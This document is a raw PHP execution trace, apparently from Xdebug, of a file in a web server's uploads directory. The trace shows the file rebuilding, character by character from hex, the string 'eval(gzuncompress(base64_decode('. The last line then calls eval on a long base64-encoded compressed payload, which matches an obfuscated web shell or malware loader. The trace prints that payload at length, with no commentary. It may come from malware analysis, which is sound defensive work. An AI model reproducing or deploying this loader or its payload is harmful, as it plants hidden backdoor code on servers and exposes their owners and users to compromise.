3 79 0 0.006599 495248 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '36'
3 79 1 0.006615 495296
3 79 R 54
3 80 0 0.006632 495216 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 54
3 80 1 0.006649 495312
3 80 R '6'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= '6'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 81 0 0.006692 495216 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 46 2
3 81 1 0.006712 495344
3 81 R '34'
3 82 0 0.006729 495248 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '34'
3 82 1 0.006745 495296
3 82 R 52
3 83 0 0.006761 495216 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 52
3 83 1 0.006778 495312
3 83 R '4'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= '4'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 84 0 0.006822 495224 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 48 2
3 84 1 0.006844 495352
3 84 R '5F'
3 85 0 0.006862 495256 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '5F'
3 85 1 0.006879 495304
3 85 R 95
3 86 0 0.006895 495224 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 95
3 86 1 0.006913 495320
3 86 R '_'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= '_'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 87 0 0.006958 495224 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 50 2
3 87 1 0.006978 495352
3 87 R '64'
3 88 0 0.006996 495256 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '64'
3 88 1 0.007012 495304
3 88 R 100
3 89 0 0.007029 495224 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 100
3 89 1 0.007046 495320
3 89 R 'd'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= 'd'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 90 0 0.007090 495224 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 52 2
3 90 1 0.007111 495352
3 90 R '65'
3 91 0 0.007128 495256 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '65'
3 91 1 0.007144 495304
3 91 R 101
3 92 0 0.007161 495224 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 101
3 92 1 0.007178 495320
3 92 R 'e'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= 'e'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 93 0 0.007235 495224 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 54 2
3 93 1 0.007256 495352
3 93 R '63'
3 94 0 0.007274 495256 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '63'
3 94 1 0.007296 495304
3 94 R 99
3 95 0 0.007313 495224 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 99
3 95 1 0.007330 495320
3 95 R 'c'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= 'c'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 96 0 0.007376 495224 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 56 2
3 96 1 0.007396 495352
3 96 R '6F'
3 97 0 0.007414 495256 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '6F'
3 97 1 0.007430 495304
3 97 R 111
3 98 0 0.007447 495224 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 111
3 98 1 0.007464 495320
3 98 R 'o'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= 'o'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 99 0 0.007508 495224 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 58 2
3 99 1 0.007529 495352
3 99 R '64'
3 100 0 0.007545 495256 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '64'
3 100 1 0.007561 495304
3 100 R 100
3 101 0 0.007580 495224 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 100
3 101 1 0.007597 495320
3 101 R 'd'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= 'd'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 102 0 0.007644 495224 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 60 2
3 102 1 0.007665 495352
3 102 R '65'
3 103 0 0.007682 495256 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '65'
3 103 1 0.007698 495304
3 103 R 101
3 104 0 0.007715 495224 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 101
3 104 1 0.007732 495320
3 104 R 'e'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= 'e'
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 105 0 0.007775 495224 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 62 2
3 105 1 0.007796 495352
3 105 R '28'
3 106 0 0.007813 495256 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '28'
3 106 1 0.007829 495304
3 106 R 40
3 107 0 0.007846 495224 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 40
3 107 1 0.007863 495320
3 107 R '('
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= '('
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
3 108 0 0.007906 495232 substr 0 /var/www/html/uploads/ridsaexnlu.php 291 3 '6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827' 64 2
3 108 1 0.007927 495360
3 108 R '27'
3 109 0 0.007944 495264 hexdec 0 /var/www/html/uploads/ridsaexnlu.php 291 1 '27'
3 109 1 0.007960 495312
3 109 R 39
3 110 0 0.007976 495232 pack 0 /var/www/html/uploads/ridsaexnlu.php 291 2 'C' 39
3 110 1 0.007994 495328
3 110 R '\''
2 A /var/www/html/uploads/ridsaexnlu.php 291 $debuger .= '\''
2 A /var/www/html/uploads/ridsaexnlu.php 291 $one += 2
2 10 1 0.008037 495232
2 10 R 'eval(gzuncompress(base64_decode(\''
2 111 0 0.008250 602664 eval 1 'eval(gzuncompress(base64_decode(\'eJztfXl/2zbS8N/bT8Go7lJKdPjIVcdy4tjOxu86iWs77e5je1VKoi02EqmSVGz3eD/7OwcAAiRISY67x/Oufm0skcBgMAAGg8EcX32V+EkSRGEvSb04rTdefOXHcRT3Yn8axWkQXtVX4Vnip700mPi9cTAJUnoUhEEPHtdrE38Sxbf8ptZsrcG7r1bGvnd55n72Y4TtXnRr6+3ntRfy+bXfT4LUx+f4YOIFYz9uT6+hBNQVGA2ioe90ncnwSb3Xe3NwuN/rYbOX9Qf+ZJre1lemXpJcR/Gw4Xjh0FnpneyfnBx8eH+mA7hwHnSdrOSvXznwCS6depAg8iu94/3vPu6fnJ65WMa9kLByj52uDsVhMPgpa1Ur/oIK/07/+uPE12pP4yBMndrWNPYdbxxchd2BH6Z+vL11GcUTZ+Kno2jYnUZJun0koG06W0E4naVOejv1u65sxHVCbyJ+u9tGkWTWh5Fxnc/eeAY/t7fhfQfhwx9oeLv2QuHj3wTpC/lDoP37V2qKXMcwaL3BOEp8nChffXU5CwcpvHFwFHfhn7i+kvo3aXPFxzEFcv9pBcfQv5mOgSx195XbdMS7F/gOv80SP+6u+GerF+rRMIJ/Q3y4dsHYEViAlKQ0NcfewK/Xzlo4J1sXtaYz9FJ4MOkMO393RpvBZuJ48BRf1xuNJldvVIKihgkW47B4JeyAVhF/Ll6Zu6pV5wcLAYhhrkaTsZ/ClEkIBD45SWNctq7XHwz9y6tR8NOn8SSMpj/HSTr7fH1z+4u7GEUYfELgloC+ura+8fjJ02fPv12qnXA26Qs66u3cERpwDQKF3GN5tHMtxX46i0N+BMsDloQx8U/jYFJfYTrRlOev3Vk8HvrIDtRLAxw+myZjLxn5ST3VYUA5rQkN/ZVBFCZR6IVpIpkQcNTwKh11sVR9bb25/kSSR7IGIJHr8jNY9U59JYAnqy8c+Lslq+OvR490xmaCaAM/y9o+I5LWG8432AmAYCDWuNA5nqRdxg1z1HsHc3535A8+1RXTkDz6MhjDzO59RrYi1iTsA6f7x73vdw4P9nZO93v773YODhsN2Uwaz/wXGacVTy89+IENf+28no2DtBWEzmuYL58OgyR1qHE/dnBrkbvCX/aB9Q/wRS+Ywq5g2TioyAhYc/aaNwTtRVcyvloT17dRJ+O6MCq+Nxg5JlDHS5wV/JofFUSCUBuGSRwXkXXaTq1dg3+5Ov9sOrWdGtBphcp1Yc+5jGDrGUTjKO66sT90tx2khj/EvSFM9V1BkdNe+Sr2/RCqI/8P7bV5n3OH0WA2gQ2ufeWn+2Mfv76+PRjWa26bcW27tUY7CEM/fnv67hCmKbzhRuHNCzcDCpuSsWdpE24FyNIf98ZR9Gk2BRBnqmTNG4/byZNRO/RBUMke99t9L469wWzo4fYbe+N2FF8ZJaDe1JsMommhLk6jMRCufR1Fw9v2YGS8ja5gXbQHt5N41h5EE/3dAIB6fdgsvDTf3GAIr8I0aGGj+LI9CI330aQfhP6Q6+faHPbb11OAHYSXkfEcydJaa88G/jSOUn+Q5vvCJdbnltiYV4KQH3jTdDDy7AWGcRT6/QKd+SUIL0l76BdfJFHcTwoAEZSdErMg/Nz2ZlNvmBRamgESFUBvQ4+GPPbSJD9y8DKYtqH/Iz/Mvxul6bQKMHB8mG2DT8nAw10bpN4cYsGNqD7xwiCd5et/Ql7RBgnjczDwC9AnQTKoah02vDQu7VcUf/Zh9tgJNhVrYOTNiu/i6Oa2DQWurn1/2h54xkvCZhbHgT/Otxj7Y+82Kasp3kIfRkCnXFeSCnySERxd2jGU+GlqPIc9dDb24naafmpPU789mhmvJ9Vjl0QwbpUFcLnaZiK9kEsjCnEry89wrUg57LKRw+f9KAVCAtjgKuh7iIKXL4IUCSZTC3JJNItxPl16fRil4Sf9/QxqoZSC0zbfML6bhXDCSAYwMfNvPwcxDE5xHOD4V9VVEBNKUL2pGPRf2kTWafDJzwP8BdZpaTXkpX4JOvLwEft4kvVhe4UNBdDiPR13Vdw4bnvifV1t9+1su9elCCmaQWunAGkQzUIQJfQNS5RAwWjke0M/rosnYgvdGgafnQEMR9KFbSBM4agAogvsxK3xVetpbXtrtLGt78412p3hOfQ/lBWvxrfTUQDVHfWthS1CsQ6W2xa7uHMID52jt0fv6IDubCUT2EK3X8s9T4pOUItebHWgdbFLH/HRlkrAsnO2+tu1doEk7dpWp7/tgDwG74ks9NtRux8e7DyczsnmVj+WcgWWfN+t1UzSQMGx72ybsm5XSboIHb93QdRdWwWpysmENhQ+FDz1JDEeAcD6yk9QG4D8tEVAXqz8BFJzTmgmWMagnq38dGEKRJoWg0S8HIysV7WtNN52ttLhNhXc6sA3/OkEw65Lj9xtReN2m97DP3FeAsv6BLJ8jb41c0V+/6r4jQgNFbaSARxWUieJB133pRy/rrYw/swkbHMj7ZortA94Zur85H32GALqHvibxFCIcnIQOzSKUAomuhxKfke4COGeZL7fCxI7HRL41MBS+Vc5YpMe6eTMhTL+afQRVqs3dC/O3HQy7aECJS/LH304kWBROgaJ3sGqPRBge7j8QFxMFNSaDrV2cVaTUGsg7Ut1ShlcOEilsGKvfZToC6+ZCUBHbB3tdmvBZexNahrqeEiQcGI/mY1THA5WZNWG0XVIOOamneA4tV3uWWvP56GCo9qm8wY655zCwS+59OOa7FBZ1VNobdPxptMxCIIIoBMNUj9tQTd9xHRO9b0gmUZJwC2DpATHIzwtvCDqk6aLKJDU2qziacOXm7TWeGGZwzmdWzm2NFWnY2CpRUBEeian0Kch2aECnBtSnY5w0EXBLsRTd+dsp/U/XuuX1da37d43j1oXj15pT+DneVv8vvh1vfn49452wpnG/lVv4oEI3QPWWpdgm7bJAw+ppJ9YT5Xi3dkqnyn5lJ2jiFhi9K5dOw9reQJk+kt9amm04NlYM5SjPEjZKRjgWjugob3yyb9FPUG+lmV9yJK4aG395tbL+5yVlJCorPjh5IuLaQCIwH9KISGLNxwLD59DWePTB2Q+Fd/9nn9SyrP1YZJnYvpZECYWkSUe/3NkiX0kC/KW1CpGCEypU6wT90hz1K291Fhgl9mf1JfXcHrUnNSLgU13a5PbFr33a44fDmhXqk2AIQZTL05JEd5CIaPmRCFP5+65e+5uK8pujVEoxtkCC17O2dr2KWoftzr00lC40zZQY328uSXgpm0+2c6GM4ozncYWsiIPJoSAkjVLILSfYhSoFziGcTSuOXF0Dc+ecWEEtQOgcEAkWNk5cwbQuK+t17Sua+9jbxhE2jtJmG1jQhqE4CqiD9kuxHjpv/lqogbHPPhB0oUPJWom6JNRdO0cUy0UGNNRkDhT78rXMerkUGIx4l/VH7XPmjD3xGPZmTqKqv3gymEVeNJYuEe57nEn/Cs/BCFw9Hh7n7cnhxYZrKrHMAXEaxMhH1U5KEGiOHfr0Pxy6murq9/wfRjwN1iycAyfOGNgEk7/lv+iSI7/Z9j1Z2kKvIDpxctJEkz+EsSRe6ccj34aOvB/a+hfekgV/J5MatsneC8JpwICXN5XZiHc1aSkr2Ilb/9VsnvBhIBfbjpXxKDhBAu9deBve/ZJMqRsmefWpdw3eAZkvypW5eP8qlTtfjWKUvX91htFEX2TqKi1SwQ36bA41cUufQeiizvDr3RCiglsTNItZrawYd+OocE+zZ3NMAr9F9fBMB1t4rR6IdHTmDMdLqx8HYaSC1ELvDPwFgdngJVROhkD+2KugXfMs/TyOXTcH8Ok5if9IDWffKXJc7yjkAyTwHSp4fjb3qGGoybPFCtY1I9punWzSyApFmUvlXAjarzHbpdUeM8nEKV0mI5vT6NiYfFCgzzr/wQ9s4DlF1lJtXMUyxbFsZWJnyTAYFE6LpbXXhZqHNKVZGkdfq1hhZfmyH66mXBI9+iuVMAMRh4cM1OtgHiiSvAskPoBngLyFw8/Djv+xKHXe9Zdb4DUjmK/PouwJF965OeXAiJQgLlxcPKh9fz5k29bayD/rgRJZEy2DFRhZipYkgQA7Bmgi2DgzzMrnFz5fhB68S3XwG8L1fES/+ljqkPfFqnz8yyC9y0SyfCMjrX5mXpU0u3i8vuKD++WZfY58K9rdIuK397xOC0yk4oVhEGC9rhZw8v5V3zFTtpKrKgfaIxZjVMDMPmTZqaxXWvjfEim/iDwxjQDjBYaqNESVhV/+v2rP4nDp4ShFxUFhCrjK+JJD6Q6w8ZHxAHDYD3A36doqPOq1jbuwa+vr+nSj85bJ/vH3+8fn7lvT0+Pem8Bslp62PUHuVtYDTxeGBqt1QhV2jwyWf4rxqvz8CHvSg+d05GvifrfsxWQEG/astCrz17s8I23eNRhbc+sPw4GzoqsBgfpJ+319vpzV6wXrSE+PgBtozhIbxXoD6SzSDahyTEIMmJ3azSdNYD2NrgaNZ0N+PYeNjQPznBP4DscLVX1H0Z+SFWbKPMIbYED4mYYpQ6yIQ/+G4/NnsDwgrgRW7tyJBCEdhBssR9IMJxMsBCgJWwiuqS2xXxcmGi7AOSEGKULbEgwJQvhsMF3B+/2HakCQdnhzo0yDFw02HCmRylpWMB3JHMpjlvtOTJBmL/PxF/B5PAbs64mCaZFprQw0vvZpuNiaxZc30ZjEBKJIniRHvt4PeywtZpDZnJLk2ofax2El5GwyrCR500MQijL4N5wCOeKhJTZdxkZAgUtxVGUvhpHA29MKuOKdlEsu+s8QAAow2CLx9Ci8xG4bUljJ8RW5FHjmAw1WkdeOmqUtX5wSeuPNLlN5zqAld0HMROH5HPgOS2oFeHPIYEEgnmJ46J5iPPm+MM7F8+MeMMHYzlcvEsCzfLB0jCvQFwgHaQa3ini6wd4ucmkB5S5uQrsnFdDH7aXgQezXnA/ZtCJk4yi2XjohHiGYy4l7F9aU0SOudgLCQcmPE9tnNUBVIGfP0V9GIo3u0821tcAAtvoPG4/BsaZRHzgDiPglCHwOWcY+QmswVt4rK3gV3Au/OTgLXiy2emkUTRO2oGfXuK1Wwd3zk58OUD4Xwv4LYDvyDZj/9KPgSv41rFgUhOly8fjhEXeu05hWd3ewE7okGEKjBTxN1IZK3bWRwMQbdCpKBoJOLDuxrB/4IM6mig1FsbnNcCs6C1h0SrH4hTHDJ8ACiFOOzhADvH4TjNnMA7wAgNwhA1tGNHyGnmffcaclqYENPCmXj8Y4x6WzAYjXFsTOBw6f3b2Z8Mo9lSLuzpMbJRaJIA09VEAopEJafN1XuvozqPGzjitIAiMTrALICUlUL9nkuNDOEb8SWKC9YMcAW9z0fg2JY4xTntBSKoNCQT3xUSRM3Ku/NCPYfVxU7DWoLNNB8RK6lR/Fg7HAJmUG0ln30tuj3z452D3pD0dTfnYjS1h7QGQJo3i4tKBlZNMYxJRR53+OLrqSE1S0gEoLYLSQrhT/CcYJC2C5bcCmGkt1DAmrWvgLC0o3bHC/xRcfUJ95zhtJ35Hw6az6FgcQFMVMxOEayBsyl8CpAmJG9ZZ+sobDHCXEzZF/nAuDrKgs4JQ5yySOagwY0wqmW4JglZs3rK4aMeHVHKySbFIaOjeCgU98dXQTWHLH+MMvRe0cCVXovVDFA9b17E31ZkmM45Ucn6S3pGv0qlH4XXCG9kq/oMMBKG0nR1cEpezMeudHNTsogD97HmTZBlg+OvP19fVJrPeXmuv8UAFHvD/xUVrxPwHRBxtWov9GgXArPheABGkdcpSArFAi+SJj1HOlJIEfAeEyThoceFSnHyA2HR2K2HeuJMRef1MboFRu4q9yVICClXE+8ZZEncSEJU7EpxtqEdkT0Xdh+kGFIFt3IGhQtYoqrVwJLw0QHuKd6c7Gv/0nWsiqWCiiaoC4kOtFQUghtWciIlp9qEPsoDvhdZOgJwo+yEGArrDtrx59I8E0bLj5XQ8uwq01j7yxAtYADh5d3ok2K44wNHdAZ1P4etgPBvySCwqdJ0IMQsgwX4a+v7Qx1+0qfEkh03Pm+FlpafJcrkDIeG8F1RJluYJgFiFR7spHloGUXgZwAZKq0dIflIaTiM4HI1BYvsEaIW4VdMeTILeNF3mVIdNHHOLp1UnFjxU0MFBLDFBYqHoaB3syTM0ntkAH6lufrt/+EGgYJGWsyHGu294liD8ywAvJHAiwgbXxKZIw9yU9TN1B//tvd95t4935FfIBRjPOki0sDX2ZvTDDdG1QJywiF9JWK46MrXpGyuO3IVJ+FbSpVRgAdJAn2DkgGzDUrpZiOM5szD4GVhrMFRnCimbDFX5v0czEsLwOHAbzYB9X4dNkFJSPIpMZgnNYdEqqvc9VHMFQ6Eh264pqvKgodExFmd5PWPfG+2nIMWjWJMdcIIrkPA0VF4lvr/AwWBdHQwI6MIMl0kGFCufpXJb20PxrUh1elxKbywxmMUxLjB0NlL9hAWq93IxPKktO6bEsNiISgkNfEj0HDRgHWvLDRUQdJM9xqU/CfCeHi9zyBcPeiYLJoUJQfyBtJiXtwB4GFzSySt1kKvLwrhTk4UE+RHAqWGGCLA4wLNl0zmTbWxizQtZte63r9q8a661/RsPJTBUuG6uP3mBD9f1h7VGNX5wIoxvaV8gcZxFCFF/M9diOsb5VWz3yfNnL5JkLN4ZzW8+fvpEQ+EtWcnJ4YWh5ClCXGaplY8DPE/nIjkhjTqadeOGhtbLFQKQ8+r0w94H2Mhvcbdh4Yy3oWs8bOZ2vdT7BDv8wItJrROkL+0bErQJ+MLo2E/VCI+4dcm5ek/0A3BRXK+NyyfjgfBqLmOX4CR/Z9kIawsZbkgmaX3oq9ePPhPT0hqs2sKR/aiGNzdVJfvw+eOy/e4H3Ig/0SZ0acxM3voifQCiMGRmVpQzXbfpuDAhXVzELsxad2GJD0Cf+MCLyjiIlPBQvRSSTezp4YmOKkonKDqgWuIWBSVPTj0l1gWpYv14xsVCP2YN/6grw6EZwl/18TUwxWucbySzwNJBUWu76zxpP+XZGvs/zwKQargAi78xq6AGfpwGl2gziGJpTPtxMFxckkQcd6B72OMyEVKjD44YDRWQBNZOKowVdVmStWSoyaRZjBKM9MVFYX2KCPuVsm5x7klopQVkC1V9RC2Y8GzL91AK0WSd7qDrnU/HH7a+ZMvVm7THJ0/mGnKuAn9HbSq2YfaJYJXik4ntVI7cg3NIEZ1noucLM1JF+IrdUvoWLgz0yHSNtALFGUHbTX7t0rTcPd5513q396TpHH74y8F74GmHO/jn/enhu6bztw87H0/frjclf5NChpcKU5qAddm8wQULKDykAgyQktcsZYjDoI4n+gweEpdEzKhTi7Z1jHCqGgIKfkrSwoK5Y3M/ZNCq1LvaPommv9GMOAzIjFE4TArbEbDoJ84kCGfITuobq6tQsIHM6xIV7qyF0FXdT9ob7fWKrddE+VQg0HUAcgmReBMe+v3ZlQNl0ZjMuIDY09+MgdcWdRLy90Pnx9UfnfeRKK09XvvR2Y0mE+BNifZ0/UeUaT1iWYPi640fnZ3EWcfzc6JtVQ4Owkwv+PhH5zC6bhFy5I+RQ8AqoiBHQwIAMxtGPep/KfNgGlgVOG/xYB05Iw/1qgYZq8jkD0bRj84HJqqmI/eSVpA00SwdGHccIPPDubp7eKBVxsOIqgzihjf1h01h94Y2ukQsmH8p89Qf0R7rxyLQPtp7ocIsP1gcX2McXalGcKOm20R4iCctOtxfwT5LbAMOqu0gDAQEdXZEA6kQlgsMCohUt0JuBhw+B0PYpujOgTZ//2YqGHt6HaFS3JuA/OGp4xCvSZol6UjSmAZbkXQLjXG21QmbVETbNGpi4sJOJHy6yYm9iX7lAKDh/IpD4dQ0oOLVC9n+poM1ai9+V1dTWx2jOY1x/CY7ZZtmGj7WmWbi6yJi1cLTJ9+f5gU5BzZ8EKAu8ZqejkaWyz6ScYJECkcohPA1EPyg4Bl8mFQwZVUlFsE4ovF7MAhSvjrCrRtOLbsceWM5aeiv0IudMUyTcnFB63MCzabZoRKeCAUUoAVLPMpeiY4rRhHFrFYlK1G67wpJjM8TqHgH8yPOpx9pAv4o1Yk/Atm8MCFhtCnVdkWhpLLzdFgmvVVJv0/SKMYVgMs16yaJQ6oynlpIiB6Wi0PiQEaXbUIXh5sw9FNoCRmlSix3SFSrEJ+0QVJ3UN/vHx9pmCPzBvqZpBY+OMgJqGdYwi7lGVe3fti+Dj4FwPsCj3Q0+KvzvQcMDkD1fOCAY1gLPb5i7qEGtQgI4KAhEgawuQxuCAyi3Dve39l7t0+WVM4Rv+S+oNP6wgMM+wqw4elC8xpGA3YS2Xc5d/mMicsND6a5S6l5ze8gyH2qWIqBfsSnHYQRyBqBCeIbpWJU+4KQiZ4ibecHmpwDlDcP3+D4geh57ZNiV4IQH02fR0otHN7EH19ubmLVhSXjw32MukBeKvm+7P314J3DRnzR4ooQrNWTtUoEO4J8MMTzl2bE9TGZ0RpKC7pw6qDHBzP2XJZqCd+41FkIt0C0W4UbHjCmoxi9qg1BF8R40qp+8m+ZUdARewl1IGGQQa/CIQmuQpy7rJp1zEOU0GbBrpaptRZWKBASAmwVEeLgMzId7CxeMc+7NbH1VIBYsJXizQBsqU2h0cILGX+IxiJOhKeBH40mfrwTYj0hC9nx24XpiE7wzg6LAiqMjT4W+spXBejkxzKsNLpJxPFEXv7JKW6qiw5Io4YyAMw2PGr0+ZKu3siUs760AkrzOHxPd6/C8sMLbx0yQRAi1KbBoUcU2aQTJL2ciCVhHaHc6GOgKSUVOpI9oq069Ud8LL3zDEnHEZoJDOIUOdrHWOe4o11KG6VgSnYlFgiDgQ4BfuWAWKr0jTr9qjpiRigje1GHOsZPLGXp4lx9MgaGzy3F6TBqpwFSgA28Fp3PTOmemnsVWkyg/XSmLkT/1hJK2dwdiFJZ7sh9UiCOMzBT5YoNrIkXxHDannoDFqzQ84Nu1zxZj/Vui/bnb9ldumPtCF5Hk5YQzVekUg/WidxRSeoRBcjHyRxq1c93MDf6xskJYAUhDbq8O8sa4ls0vvNFhVCCZnceDPEsGFOAKVVS0w3m1HyiiL/DuNQbix15UEliFSb5jbOSUQOIhsreEmOpECqE2eYpdCtk8EhqC5OH4mv1YFHLE7K4rLJ65jUJGLiAJnHShG+JC+NjEbsXxSKNqiRrE43B4A9DA/jMwmj0/0A8+ksgQs5GLbTt+WNwOWZnpip8YKoqdPBgiZcvxBiLiBywQUdC5aDECtpCAN2b1Onl0S1q5oEShWdAzsKzrLlClwG3XrajLdpzC/2dn2f+TOhbJYPThYdQyApNfkuVgR07wxmHZcDjCN5vskp7AmIUabRyCEpwnrC7MMiK12/QVdPglHEOhKAe4Sk0d8TGY9fB3vs7TKD7GJHiO2uPLXNVlvgOCb/oyFUtoT9qCMWy+leOi0BhzsKfS0mDG2WhQO6F+WTgFsZgAIdskNasRqN3Q2KXICrzzEo0dD8UzUqozoZsrMalEGdOP4aTip8mVabmi+MI0kC6hImNm7CJrXF99kUGrAy3l5bffRmjRK33o1k49GIpr97P1ilhLjxjP8N6IGlyjEODWqf7wEMCm4dHZrVLNwyko8CoY36c11LkL3AWxYSvMwio/QqHru06NCLa7f5CKoQl5MzgKuwh+B7BrbhAZEwWVWIsiQGAnYcAG8fCSUFgQq4Cpt1Dvba74+yOKBDRH4Elh16AFpMFqaXiAEs/NOinqQmjzUSY3C6hDbsDeRGX+YYv6SiOroG2A19c2pO6hJZAtanGwtM+A12q/f3IFprAMWfyWlxeusEz3MoFOykYkNyRSGwSGpTZNZDzIZ9Ug/R2UyGDg9fECyk4HwO+ABCb01Rv3BDGeE6dk9MPR713+ycnO3/Zty/4kmbwDvWTD9Mk+kQ3YUs0t/vh/enB+4/Y3toS7dHNNlq2Az2jKfQQ3qPRk7htpehP2fQstnp8cHqwu4NxiNdLbveP3+ziqRvHcGhT8OswSYWPyvXYql6n7dO7CSYzEWSFI3PzzYVPTlvYWtFtooKL682/2/lb7/Dg/X7vcP/9X07fAibffvvcouTEwvHM1PHTpXGm7dPmvrCGv/bViqNr6bG29KwGh0o91esNZIt1c1GhzoA1IrmwdlqpB11RLh+5HO9gW9sGvLrAv6EBsMWL63SOgsEnsuLXrvQNCw5hKm3Y0X2Va9u8bsawYdMoqYOA3DvZOTpoOu5gHLgN6gGxD+eluJN2Nh0Xb8bchhEgUVeU+/khKqPtUJSs5wnZ6dBlMmmF6Uo7f88dBgO/2CntFroMOdSSS+eSIEStn3fp99DmpcVWgZdeMtLPODvjBE6Ts3CMLE7e/9KFojONgpCNQ5V/TB2XeoTWoGyK7Cn962DsBZNEGHbL8nBwGkboTkXbBhs/OHW8lvWcqR9fonLvMrhRxo7CNJ6sf4dRI7cChAITj5zqYJN/J/XEJ6Z2OFeKNMRCoiYfyJJywm9iZzgMhNggHMWSMtxEH0lfr87u2Q5C9xzqsQiQb73mFBcxajYhOdFwDhb6rM4aANHXJvenKdFtSiwssw5jTNCFDbrHIMIgmtLAZpclEQjNEWxiwwjms9+SUQIMJoDZZ678tO5O+uKWCOv3JGBYWH921gpcIVHevXI+kzmrIKl8rQd/tEWPLILhaDUSTBVoI7CkThcPJylqrj011L2punMhGze5jpqkoaZ7bF5mdGynUBdi8NlOSQNvXMnLy56JF868cccPO5L2FEIZL4PstFYYAHlhGT4QPbV4b6ErSNJDlOpyKhQGQ9wSdZ1X1I3KGTV3SJYBlk1PG/uXCSsYop5ZQDewZb5Om8IVjgQaLtCdOyWDka4ybLRu2mNI441EbiZAYmK+xg6TmZ04dZstnXasz+tdinZQxTLK6q6MiaU5i0clY6pl6hMeZO5l3aV5bmTmfVsgK+bnANPavgnvEA/Ae4gRT3B1s2LcuyZGqw+CsMfn4eIuLIJ1111lgIcm+LTTNsXW2+Bwd9otqAVOYSZj2R6OO126WVsWRnE5mmjzr5oaCRCAApUWkSngkqAVgOrhpvGWKbtHG6JE7Se0GoGihYIKCI9xMTSpJWIpN080tbVMKUISZzaV09xz+kHKSkjYtTGWk4Mhs2EONilmQAtZjmFCqSOIpoXYFhlwwBmqXiiCH4qkKwMjuZ0zlL8vHnVw0F0emUbTWnH//Wnvu48fTvdP7O/dj6dvWs/dwrtG4UnbqaGVqDX4aykVaUaaVBRXmjbSciyj4Bdft1QtlMPeApPMkQQp8rIzSYAcIkSvfcCJ4FcTyrXl/r01aQ2dt5hrC7YD6OF5ikln9ChUVqpRC2VvLE/P0+KzEgAqiVJxBBhDW1jjwrmOfMOlgRh7vJl2cmKHQP5UKX4HCdYriN5iEWfX2ihUu2XitA0d4ORuIjd/tXffAb93BGIefsKRfHH8lFP6nWgm6hbx4oyD+vmg62Syif7CldpQ/NC+gBsbhW0uAEE3LOnDXhRSBMee52SvJpVVOCkAKWJh4/rFiWI2uNhg/HzXgfjunzwKPy8+BJ+9uEPFOzgO9K3Flhr/tLH4uXIg4LwGO1rtNKrJ27W8MkVKWtLOx+LxL+JUpGUnTcODzDzJsdE52gPP6ODXFDqGQF2aO94YowLcirtA1BzxDSOeNOB87Vzbvb3UBAE40m5FdqLJOJH2MT9vVA49oiNU+BDvh3T5uRNKOGgC0nRy0EoVDYLGu7sWGqNZ7SZfeiqEyV0p8yolmVvEcsO3QbixzpbmqgjHAhGF/jcO4O7u/Y3dYLD82L3+7+DdffBe3+fo9e8yfHSF3/pSJkfmEf/GdBaGCvdHa0m2ZQke6lQTljiGdSwfcEn7IsIKSesqetF2XvsDD3VMWehWAX9A6idpj5i3CPEwTsl7+o42yOh9wMpXU6kgY4/WVey3JA3GKoRcH80XhuTuKhyopBor1Z